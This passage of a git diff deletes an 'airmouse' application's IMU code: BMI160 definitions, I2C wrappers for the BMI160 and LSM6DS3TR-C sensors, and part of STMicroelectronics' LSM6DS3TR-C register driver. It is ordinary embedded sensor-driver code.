enabled */ - uint16_t output_en : 1; -#endif -}; -union bmi160_int_type_cfg { - /*! Tap interrupt structure */ - struct bmi160_acc_tap_int_cfg acc_tap_int; - - /*! Slope interrupt structure */ - struct bmi160_acc_any_mot_int_cfg acc_any_motion_int; - - /*! Significant motion interrupt structure */ - struct bmi160_acc_sig_mot_int_cfg acc_sig_motion_int; - - /*! Step detector interrupt structure */ - struct bmi160_acc_step_detect_int_cfg acc_step_detect_int; - - /*! No motion interrupt structure */ - struct bmi160_acc_no_motion_int_cfg acc_no_motion_int; - - /*! Orientation interrupt structure */ - struct bmi160_acc_orient_int_cfg acc_orient_int; - - /*! Flat interrupt structure */ - struct bmi160_acc_flat_detect_int_cfg acc_flat_int; - - /*! Low-g interrupt structure */ - struct bmi160_acc_low_g_int_cfg acc_low_g_int; - - /*! High-g interrupt structure */ - struct bmi160_acc_high_g_int_cfg acc_high_g_int; -}; -struct bmi160_int_settg { - /*! Interrupt channel */ - enum bmi160_int_channel int_channel; - - /*! Select Interrupt */ - enum bmi160_int_types int_type; - - /*! Structure configuring Interrupt pins */ - struct bmi160_int_pin_settg int_pin_settg; - - /*! Union configures required interrupt */ - union bmi160_int_type_cfg int_type_cfg; - - /*! FIFO FULL INT 1-enable, 0-disable */ - uint8_t fifo_full_int_en : 1; - - /*! FIFO WTM INT 1-enable, 0-disable */ - uint8_t fifo_wtm_int_en : 1; -}; - -/*! - * @brief This structure holds the information for usage of - * FIFO by the user. - */ -struct bmi160_fifo_frame { - /*! Data buffer of user defined length is to be mapped here */ - uint8_t* data; - - /*! While calling the API "bmi160_get_fifo_data" , length stores - * number of bytes in FIFO to be read (specified by user as input) - * and after execution of the API ,number of FIFO data bytes - * available is provided as an output to user - */ - uint16_t length; - - /*! FIFO time enable */ - uint8_t fifo_time_enable; - - /*! Enabling of the FIFO header to stream in header mode */ - uint8_t fifo_header_enable; - - /*! Streaming of the Accelerometer, Gyroscope - * sensor data or both in FIFO */ - uint8_t fifo_data_enable; - - /*! Will be equal to length when no more frames are there to parse */ - uint16_t accel_byte_start_idx; - - /*! Will be equal to length when no more frames are there to parse */ - uint16_t gyro_byte_start_idx; - - /*! Will be equal to length when no more frames are there to parse */ - uint16_t aux_byte_start_idx; - - /*! Value of FIFO sensor time time */ - uint32_t sensor_time; - - /*! Value of Skipped frame counts */ - uint8_t skipped_frame_count; -}; -struct bmi160_dev { - /*! Chip Id */ - uint8_t chip_id; - - /*! Device Id */ - uint8_t id; - - /*! 0 - I2C , 1 - SPI Interface */ - uint8_t intf; - - /*! Hold active interrupts status for any and sig motion - * 0 - Any-motion enable, 1 - Sig-motion enable, - * -1 neither any-motion nor sig-motion selected */ - enum bmi160_any_sig_motion_active_interrupt_state any_sig_sel; - - /*! Structure to configure Accel sensor */ - struct bmi160_cfg accel_cfg; - - /*! Structure to hold previous/old accel config parameters. - * This is used at driver level to prevent overwriting of same - * data, hence user does not change it in the code */ - struct bmi160_cfg prev_accel_cfg; - - /*! Structure to configure Gyro sensor */ - struct bmi160_cfg gyro_cfg; - - /*! Structure to hold previous/old gyro config parameters. - * This is used at driver level to prevent overwriting of same - * data, hence user does not change it in the code */ - struct bmi160_cfg prev_gyro_cfg; - - /*! Structure to configure the auxiliary sensor */ - struct bmi160_aux_cfg aux_cfg; - - /*! Structure to hold previous/old aux config parameters. - * This is used at driver level to prevent overwriting of same - * data, hence user does not change it in the code */ - struct bmi160_aux_cfg prev_aux_cfg; - - /*! FIFO related configurations */ - struct bmi160_fifo_frame* fifo; - - /*! Read function pointer */ - bmi160_read_fptr_t read; - - /*! Write function pointer */ - bmi160_write_fptr_t write; - - /*! Delay function pointer */ - bmi160_delay_fptr_t delay_ms; - - /*! User set read/write length */ - uint16_t read_write_len; -}; - -#endif /* BMI160_DEFS_H_ */ diff --git a/applications/external/airmouse/tracking/imu/imu.c b/applications/external/airmouse/tracking/imu/imu.c deleted file mode 100644 index 5e89c9504..000000000 --- a/applications/external/airmouse/tracking/imu/imu.c +++ /dev/null @@ -1,29 +0,0 @@ -#include "imu.h" -#include - -bool bmi160_begin(); -int bmi160_read(double* vec); - -bool lsm6ds3trc_begin(); -void lsm6ds3trc_end(); -int lsm6ds3trc_read(double* vec); - -bool imu_begin() { - furi_hal_i2c_acquire(&furi_hal_i2c_handle_external); - bool ret = bmi160_begin(); // lsm6ds3trc_begin(); - furi_hal_i2c_release(&furi_hal_i2c_handle_external); - return ret; -} - -void imu_end() { - // furi_hal_i2c_acquire(&furi_hal_i2c_handle_external); - // lsm6ds3trc_end(); - // furi_hal_i2c_release(&furi_hal_i2c_handle_external); -} - -int imu_read(double* vec) { - furi_hal_i2c_acquire(&furi_hal_i2c_handle_external); - int ret = bmi160_read(vec); // lsm6ds3trc_read(vec); - furi_hal_i2c_release(&furi_hal_i2c_handle_external); - return ret; -} diff --git a/applications/external/airmouse/tracking/imu/imu.h b/applications/external/airmouse/tracking/imu/imu.h deleted file mode 100644 index f4c5e4b1d..000000000 --- a/applications/external/airmouse/tracking/imu/imu.h +++ /dev/null @@ -1,18 +0,0 @@ -#pragma once - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -#define ACC_DATA_READY (1 << 0) -#define GYR_DATA_READY (1 << 1) - -bool imu_begin(); -void imu_end(); -int imu_read(double* vec); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/airmouse/tracking/imu/imu_bmi160.c b/applications/external/airmouse/tracking/imu/imu_bmi160.c deleted file mode 100644 index af771302f..000000000 --- a/applications/external/airmouse/tracking/imu/imu_bmi160.c +++ /dev/null @@ -1,88 +0,0 @@ -#include "bmi160.h" - -#include - -#include "imu.h" - -#define TAG "BMI160" - -#define BMI160_DEV_ADDR (0x69 << 1) - -static const double DEG_TO_RAD = 0.017453292519943295769236907684886; -static const double G = 9.81; - -struct bmi160_dev bmi160dev; -struct bmi160_sensor_data bmi160_accel; -struct bmi160_sensor_data bmi160_gyro; - -int8_t bmi160_write_i2c(uint8_t dev_addr, uint8_t reg_addr, uint8_t* data, uint16_t len) { - if(furi_hal_i2c_write_mem(&furi_hal_i2c_handle_external, dev_addr, reg_addr, data, len, 50)) - return BMI160_OK; - return BMI160_E_COM_FAIL; -} - -int8_t bmi160_read_i2c(uint8_t dev_addr, uint8_t reg_addr, uint8_t* read_data, uint16_t len) { - if(furi_hal_i2c_read_mem(&furi_hal_i2c_handle_external, dev_addr, reg_addr, read_data, len, 50)) - return BMI160_OK; - return BMI160_E_COM_FAIL; -} - -bool bmi160_begin() { - FURI_LOG_I(TAG, "Init BMI160"); - - if(!furi_hal_i2c_is_device_ready(&furi_hal_i2c_handle_external, BMI160_DEV_ADDR, 50)) { - FURI_LOG_E(TAG, "Device not ready!"); - return false; - } - - FURI_LOG_I(TAG, "Device ready!"); - - bmi160dev.id = BMI160_DEV_ADDR; - bmi160dev.intf = BMI160_I2C_INTF; - bmi160dev.read = bmi160_read_i2c; - bmi160dev.write = bmi160_write_i2c; - bmi160dev.delay_ms = furi_delay_ms; - - if(bmi160_init(&bmi160dev) != BMI160_OK) { - FURI_LOG_E(TAG, "Initialization failure!"); - FURI_LOG_E(TAG, "Chip ID 0x%X", bmi160dev.chip_id); - return false; - } - - bmi160dev.accel_cfg.odr = BMI160_ACCEL_ODR_400HZ; - bmi160dev.accel_cfg.range = BMI160_ACCEL_RANGE_4G; - bmi160dev.accel_cfg.bw = BMI160_ACCEL_BW_NORMAL_AVG4; - bmi160dev.accel_cfg.power = BMI160_ACCEL_NORMAL_MODE; - bmi160dev.gyro_cfg.odr = BMI160_GYRO_ODR_400HZ; - bmi160dev.gyro_cfg.range = BMI160_GYRO_RANGE_2000_DPS; - bmi160dev.gyro_cfg.bw = BMI160_GYRO_BW_NORMAL_MODE; - bmi160dev.gyro_cfg.power = BMI160_GYRO_NORMAL_MODE; - - if(bmi160_set_sens_conf(&bmi160dev) != BMI160_OK) { - FURI_LOG_E(TAG, "Initialization failure!"); - FURI_LOG_E(TAG, "Chip ID 0x%X", bmi160dev.chip_id); - return false; - } - - FURI_LOG_I(TAG, "Initialization success!"); - FURI_LOG_I(TAG, "Chip ID 0x%X", bmi160dev.chip_id); - - return true; -} - -int bmi160_read(double* vec) { - if(bmi160_get_sensor_data( - (BMI160_ACCEL_SEL | BMI160_GYRO_SEL), &bmi160_accel, &bmi160_gyro, &bmi160dev) != - BMI160_OK) { - return 0; - } - - vec[0] = ((double)bmi160_accel.x * 4 / 32768) * G; - vec[1] = ((double)bmi160_accel.y * 4 / 32768) * G; - vec[2] = ((double)bmi160_accel.z * 4 / 32768) * G; - vec[3] = ((double)bmi160_gyro.x * 2000 / 32768) * DEG_TO_RAD; - vec[4] = ((double)bmi160_gyro.y * 2000 / 32768) * DEG_TO_RAD; - vec[5] = ((double)bmi160_gyro.z * 2000 / 32768) * DEG_TO_RAD; - - return ACC_DATA_READY | GYR_DATA_READY; -} diff --git a/applications/external/airmouse/tracking/imu/imu_lsm6ds3trc.c b/applications/external/airmouse/tracking/imu/imu_lsm6ds3trc.c deleted file mode 100644 index c013fc6e6..000000000 --- a/applications/external/airmouse/tracking/imu/imu_lsm6ds3trc.c +++ /dev/null @@ -1,94 +0,0 @@ -#include "lsm6ds3tr_c_reg.h" - -#include - -#include "imu.h" - -#define TAG "LSM6DS3TR-C" - -#define LSM6DS3_ADDRESS (0x6A << 1) - -static const double DEG_TO_RAD = 0.017453292519943295769236907684886; - -stmdev_ctx_t lsm6ds3trc_ctx; - -int32_t lsm6ds3trc_write_i2c(void* handle, uint8_t reg_addr, const uint8_t* data, uint16_t len) { - if(furi_hal_i2c_write_mem(handle, LSM6DS3_ADDRESS, reg_addr, (uint8_t*)data, len, 50)) - return 0; - return -1; -} - -int32_t lsm6ds3trc_read_i2c(void* handle, uint8_t reg_addr, uint8_t* read_data, uint16_t len) { - if(furi_hal_i2c_read_mem(handle, LSM6DS3_ADDRESS, reg_addr, read_data, len, 50)) return 0; - return -1; -} - -bool lsm6ds3trc_begin() { - FURI_LOG_I(TAG, "Init LSM6DS3TR-C"); - - if(!furi_hal_i2c_is_device_ready(&furi_hal_i2c_handle_external, LSM6DS3_ADDRESS, 50)) { - FURI_LOG_E(TAG, "Not ready"); - return false; - } - - lsm6ds3trc_ctx.write_reg = lsm6ds3trc_write_i2c; - lsm6ds3trc_ctx.read_reg = lsm6ds3trc_read_i2c; - lsm6ds3trc_ctx.mdelay = furi_delay_ms; - lsm6ds3trc_ctx.handle = &furi_hal_i2c_handle_external; - - uint8_t whoami; - lsm6ds3tr_c_device_id_get(&lsm6ds3trc_ctx, &whoami); - if(whoami != LSM6DS3TR_C_ID) { - FURI_LOG_I(TAG, "Unknown model: %x", (int)whoami); - return false; - } - - lsm6ds3tr_c_reset_set(&lsm6ds3trc_ctx, PROPERTY_ENABLE); - uint8_t rst = PROPERTY_ENABLE; - while(rst) lsm6ds3tr_c_reset_get(&lsm6ds3trc_ctx, &rst); - - lsm6ds3tr_c_block_data_update_set(&lsm6ds3trc_ctx, PROPERTY_ENABLE); - lsm6ds3tr_c_fifo_mode_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_BYPASS_MODE); - - lsm6ds3tr_c_xl_data_rate_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_XL_ODR_104Hz); - lsm6ds3tr_c_xl_full_scale_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_4g); - lsm6ds3tr_c_xl_lp1_bandwidth_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_XL_LP1_ODR_DIV_4); - - lsm6ds3tr_c_gy_data_rate_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_GY_ODR_104Hz); - lsm6ds3tr_c_gy_full_scale_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_2000dps); - lsm6ds3tr_c_gy_power_mode_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_GY_HIGH_PERFORMANCE); - lsm6ds3tr_c_gy_band_pass_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_LP2_ONLY); - - FURI_LOG_I(TAG, "Init OK"); - return true; -} - -void lsm6ds3trc_end() { - lsm6ds3tr_c_xl_data_rate_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_XL_ODR_OFF); - lsm6ds3tr_c_gy_data_rate_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_GY_ODR_OFF); -} - -int lsm6ds3trc_read(double* vec) { - int ret = 0; - int16_t data[3]; - lsm6ds3tr_c_reg_t reg; - lsm6ds3tr_c_status_reg_get(&lsm6ds3trc_ctx, ®.status_reg); - - if(reg.status_reg.xlda) { - lsm6ds3tr_c_acceleration_raw_get(&lsm6ds3trc_ctx, data); - vec[2] = (double)lsm6ds3tr_c_from_fs2g_to_mg(data[0]) / 1000; - vec[0] = (double)lsm6ds3tr_c_from_fs2g_to_mg(data[1]) / 1000; - vec[1] = (double)lsm6ds3tr_c_from_fs2g_to_mg(data[2]) / 1000; - ret |= ACC_DATA_READY; - } - - if(reg.status_reg.gda) { - lsm6ds3tr_c_angular_rate_raw_get(&lsm6ds3trc_ctx, data); - vec[5] = (double)lsm6ds3tr_c_from_fs2000dps_to_mdps(data[0]) * DEG_TO_RAD / 1000; - vec[3] = (double)lsm6ds3tr_c_from_fs2000dps_to_mdps(data[1]) * DEG_TO_RAD / 1000; - vec[4] = (double)lsm6ds3tr_c_from_fs2000dps_to_mdps(data[2]) * DEG_TO_RAD / 1000; - ret |= GYR_DATA_READY; - } - - return ret; -} diff --git a/applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.c b/applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.c deleted file mode 100644 index 9f1890d2c..000000000 --- a/applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.c +++ /dev/null @@ -1,7105 +0,0 @@ -/** - ****************************************************************************** - * @file lsm6ds3tr_c_reg.c - * @author Sensors Software Solution Team - * @brief LSM6DS3TR_C driver file - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2021 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under BSD 3-Clause license, - * the "License"; You may not use this file except in compliance with the - * License. You may obtain a copy of the License at: - * opensource.org/licenses/BSD-3-Clause - * - ****************************************************************************** - */ - -#include "lsm6ds3tr_c_reg.h" - -/** - * @defgroup LSM6DS3TR_C - * @brief This file provides a set of functions needed to drive the - * lsm6ds3tr_c enanced inertial module. - * @{ - * - */ - -/** - * @defgroup LSM6DS3TR_C_interfaces_functions - * @brief This section provide a set of functions used to read and - * write a generic register of the device. - * MANDATORY: return 0 -> no Error. - * @{ - * - */ - -/** - * @brief Read generic device register - * - * @param ctx read / write interface definitions(ptr) - * @param reg register to read - * @param data pointer to buffer that store the data read(ptr) - * @param len number of consecutive register to read - * @retval interface status (MANDATORY: return 0 -> no Error) - * - */ -int32_t lsm6ds3tr_c_read_reg(stmdev_ctx_t* ctx, uint8_t reg, uint8_t* data, uint16_t len) { - int32_t ret; - - ret = ctx->read_reg(ctx->handle, reg, data, len); - - return ret; -} - -/** - * @brief Write generic device register - * - * @param ctx read / write interface definitions(ptr) - * @param reg register to write - * @param data pointer to data to write in register reg(ptr) - * @param len number of consecutive register to write - * @retval interface status (MANDATORY: return 0 -> no Error) - * - */ -int32_t lsm6ds3tr_c_write_reg(stmdev_ctx_t* ctx, uint8_t reg, uint8_t* data, uint16_t len) { - int32_t ret; - - ret = ctx->write_reg(ctx->handle, reg, data, len); - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_Sensitivity - * @brief These functions convert raw-data into engineering units. - * @{ - * - */ - -float_t lsm6ds3tr_c_from_fs2g_to_mg(int16_t lsb) { - return ((float_t)lsb * 0.061f); -} - -float_t lsm6ds3tr_c_from_fs4g_to_mg(int16_t lsb) { - return ((float_t)lsb * 0.122f); -} - -float_t lsm6ds3tr_c_from_fs8g_to_mg(int16_t lsb) { - return ((float_t)lsb * 0.244f); -} - -float_t lsm6ds3tr_c_from_fs16g_to_mg(int16_t lsb) { - return ((float_t)lsb * 0.488f); -} - -float_t lsm6ds3tr_c_from_fs125dps_to_mdps(int16_t lsb) { - return ((float_t)lsb * 4.375f); -} - -float_t lsm6ds3tr_c_from_fs250dps_to_mdps(int16_t lsb) { - return ((float_t)lsb * 8.750f); -} - -float_t lsm6ds3tr_c_from_fs500dps_to_mdps(int16_t lsb) { - return ((float_t)lsb * 17.50f); -} - -float_t lsm6ds3tr_c_from_fs1000dps_to_mdps(int16_t lsb) { - return ((float_t)lsb * 35.0f); -} - -float_t lsm6ds3tr_c_from_fs2000dps_to_mdps(int16_t lsb) { - return ((float_t)lsb * 70.0f); -} - -float_t lsm6ds3tr_c_from_lsb_to_celsius(int16_t lsb) { - return (((float_t)lsb / 256.0f) + 25.0f); -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_data_generation - * @brief This section groups all the functions concerning data - * generation - * @{ - * - */ - -/** - * @brief Accelerometer full-scale selection.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of fs_xl in reg CTRL1_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_full_scale_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_fs_xl_t val) { - lsm6ds3tr_c_ctrl1_xl_t ctrl1_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL1_XL, (uint8_t*)&ctrl1_xl, 1); - - if(ret == 0) { - ctrl1_xl.fs_xl = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL1_XL, (uint8_t*)&ctrl1_xl, 1); - } - - return ret; -} - -/** - * @brief Accelerometer full-scale selection.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of fs_xl in reg CTRL1_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_full_scale_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_fs_xl_t* val) { - lsm6ds3tr_c_ctrl1_xl_t ctrl1_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL1_XL, (uint8_t*)&ctrl1_xl, 1); - - switch(ctrl1_xl.fs_xl) { - case LSM6DS3TR_C_2g: - *val = LSM6DS3TR_C_2g; - break; - - case LSM6DS3TR_C_16g: - *val = LSM6DS3TR_C_16g; - break; - - case LSM6DS3TR_C_4g: - *val = LSM6DS3TR_C_4g; - break; - - case LSM6DS3TR_C_8g: - *val = LSM6DS3TR_C_8g; - break; - - default: - *val = LSM6DS3TR_C_XL_FS_ND; - break; - } - - return ret; -} - -/** - * @brief Accelerometer data rate selection.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of odr_xl in reg CTRL1_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_data_rate_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_odr_xl_t val) { - lsm6ds3tr_c_ctrl1_xl_t ctrl1_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL1_XL, (uint8_t*)&ctrl1_xl, 1); - - if(ret == 0) { - ctrl1_xl.odr_xl = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL1_XL, (uint8_t*)&ctrl1_xl, 1); - } - - return ret; -} - -/** - * @brief Accelerometer data rate selection.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of odr_xl in reg CTRL1_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_data_rate_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_odr_xl_t* val) { - lsm6ds3tr_c_ctrl1_xl_t ctrl1_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL1_XL, (uint8_t*)&ctrl1_xl, 1); - - switch(ctrl1_xl.odr_xl) { - case LSM6DS3TR_C_XL_ODR_OFF: - *val = LSM6DS3TR_C_XL_ODR_OFF; - break; - - case LSM6DS3TR_C_XL_ODR_12Hz5: - *val = LSM6DS3TR_C_XL_ODR_12Hz5; - break; - - case LSM6DS3TR_C_XL_ODR_26Hz: - *val = LSM6DS3TR_C_XL_ODR_26Hz; - break; - - case LSM6DS3TR_C_XL_ODR_52Hz: - *val = LSM6DS3TR_C_XL_ODR_52Hz; - break; - - case LSM6DS3TR_C_XL_ODR_104Hz: - *val = LSM6DS3TR_C_XL_ODR_104Hz; - break; - - case LSM6DS3TR_C_XL_ODR_208Hz: - *val = LSM6DS3TR_C_XL_ODR_208Hz; - break; - - case LSM6DS3TR_C_XL_ODR_416Hz: - *val = LSM6DS3TR_C_XL_ODR_416Hz; - break; - - case LSM6DS3TR_C_XL_ODR_833Hz: - *val = LSM6DS3TR_C_XL_ODR_833Hz; - break; - - case LSM6DS3TR_C_XL_ODR_1k66Hz: - *val = LSM6DS3TR_C_XL_ODR_1k66Hz; - break; - - case LSM6DS3TR_C_XL_ODR_3k33Hz: - *val = LSM6DS3TR_C_XL_ODR_3k33Hz; - break; - - case LSM6DS3TR_C_XL_ODR_6k66Hz: - *val = LSM6DS3TR_C_XL_ODR_6k66Hz; - break; - - case LSM6DS3TR_C_XL_ODR_1Hz6: - *val = LSM6DS3TR_C_XL_ODR_1Hz6; - break; - - default: - *val = LSM6DS3TR_C_XL_ODR_ND; - break; - } - - return ret; -} - -/** - * @brief Gyroscope chain full-scale selection.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of fs_g in reg CTRL2_G - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_full_scale_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_fs_g_t val) { - lsm6ds3tr_c_ctrl2_g_t ctrl2_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL2_G, (uint8_t*)&ctrl2_g, 1); - - if(ret == 0) { - ctrl2_g.fs_g = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL2_G, (uint8_t*)&ctrl2_g, 1); - } - - return ret; -} - -/** - * @brief Gyroscope chain full-scale selection.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of fs_g in reg CTRL2_G - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_full_scale_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_fs_g_t* val) { - lsm6ds3tr_c_ctrl2_g_t ctrl2_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL2_G, (uint8_t*)&ctrl2_g, 1); - - switch(ctrl2_g.fs_g) { - case LSM6DS3TR_C_250dps: - *val = LSM6DS3TR_C_250dps; - break; - - case LSM6DS3TR_C_125dps: - *val = LSM6DS3TR_C_125dps; - break; - - case LSM6DS3TR_C_500dps: - *val = LSM6DS3TR_C_500dps; - break; - - case LSM6DS3TR_C_1000dps: - *val = LSM6DS3TR_C_1000dps; - break; - - case LSM6DS3TR_C_2000dps: - *val = LSM6DS3TR_C_2000dps; - break; - - default: - *val = LSM6DS3TR_C_GY_FS_ND; - break; - } - - return ret; -} - -/** - * @brief Gyroscope data rate selection.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of odr_g in reg CTRL2_G - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_data_rate_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_odr_g_t val) { - lsm6ds3tr_c_ctrl2_g_t ctrl2_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL2_G, (uint8_t*)&ctrl2_g, 1); - - if(ret == 0) { - ctrl2_g.odr_g = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL2_G, (uint8_t*)&ctrl2_g, 1); - } - - return ret; -} - -/** - * @brief Gyroscope data rate selection.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of odr_g in reg CTRL2_G - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_data_rate_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_odr_g_t* val) { - lsm6ds3tr_c_ctrl2_g_t ctrl2_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL2_G, (uint8_t*)&ctrl2_g, 1); - - switch(ctrl2_g.odr_g) { - case LSM6DS3TR_C_GY_ODR_OFF: - *val = LSM6DS3TR_C_GY_ODR_OFF; - break; - - case LSM6DS3TR_C_GY_ODR_12Hz5: - *val = LSM6DS3TR_C_GY_ODR_12Hz5; - break; - - case LSM6DS3TR_C_GY_ODR_26Hz: - *val = LSM6DS3TR_C_GY_ODR_26Hz; - break; - - case LSM6DS3TR_C_GY_ODR_52Hz: - *val = LSM6DS3TR_C_GY_ODR_52Hz; - break; - - case LSM6DS3TR_C_GY_ODR_104Hz: - *val = LSM6DS3TR_C_GY_ODR_104Hz; - break; - - case LSM6DS3TR_C_GY_ODR_208Hz: - *val = LSM6DS3TR_C_GY_ODR_208Hz; - break; - - case LSM6DS3TR_C_GY_ODR_416Hz: - *val = LSM6DS3TR_C_GY_ODR_416Hz; - break; - - case LSM6DS3TR_C_GY_ODR_833Hz: - *val = LSM6DS3TR_C_GY_ODR_833Hz; - break; - - case LSM6DS3TR_C_GY_ODR_1k66Hz: - *val = LSM6DS3TR_C_GY_ODR_1k66Hz; - break; - - case LSM6DS3TR_C_GY_ODR_3k33Hz: - *val = LSM6DS3TR_C_GY_ODR_3k33Hz; - break; - - case LSM6DS3TR_C_GY_ODR_6k66Hz: - *val = LSM6DS3TR_C_GY_ODR_6k66Hz; - break; - - default: - *val = LSM6DS3TR_C_GY_ODR_ND; - break; - } - - return ret; -} - -/** - * @brief Block data update.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of bdu in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_block_data_update_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - - if(ret == 0) { - ctrl3_c.bdu = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - } - - return ret; -} - -/** - * @brief Block data update.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of bdu in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_block_data_update_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - *val = ctrl3_c.bdu; - - return ret; -} - -/** - * @brief Weight of XL user offset bits of registers - * X_OFS_USR(73h), Y_OFS_USR(74h), Z_OFS_USR(75h).[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of usr_off_w in reg CTRL6_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_offset_weight_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_usr_off_w_t val) { - lsm6ds3tr_c_ctrl6_c_t ctrl6_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL6_C, (uint8_t*)&ctrl6_c, 1); - - if(ret == 0) { - ctrl6_c.usr_off_w = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL6_C, (uint8_t*)&ctrl6_c, 1); - } - - return ret; -} - -/** - * @brief Weight of XL user offset bits of registers - * X_OFS_USR(73h), Y_OFS_USR(74h), Z_OFS_USR(75h).[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of usr_off_w in reg CTRL6_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_offset_weight_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_usr_off_w_t* val) { - lsm6ds3tr_c_ctrl6_c_t ctrl6_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL6_C, (uint8_t*)&ctrl6_c, 1); - - switch(ctrl6_c.usr_off_w) { - case LSM6DS3TR_C_LSb_1mg: - *val = LSM6DS3TR_C_LSb_1mg; - break; - - case LSM6DS3TR_C_LSb_16mg: - *val = LSM6DS3TR_C_LSb_16mg; - break; - - default: - *val = LSM6DS3TR_C_WEIGHT_ND; - break; - } - - return ret; -} - -/** - * @brief High-performance operating mode for accelerometer[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of xl_hm_mode in reg CTRL6_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_power_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_xl_hm_mode_t val) { - lsm6ds3tr_c_ctrl6_c_t ctrl6_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL6_C, (uint8_t*)&ctrl6_c, 1); - - if(ret == 0) { - ctrl6_c.xl_hm_mode = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL6_C, (uint8_t*)&ctrl6_c, 1); - } - - return 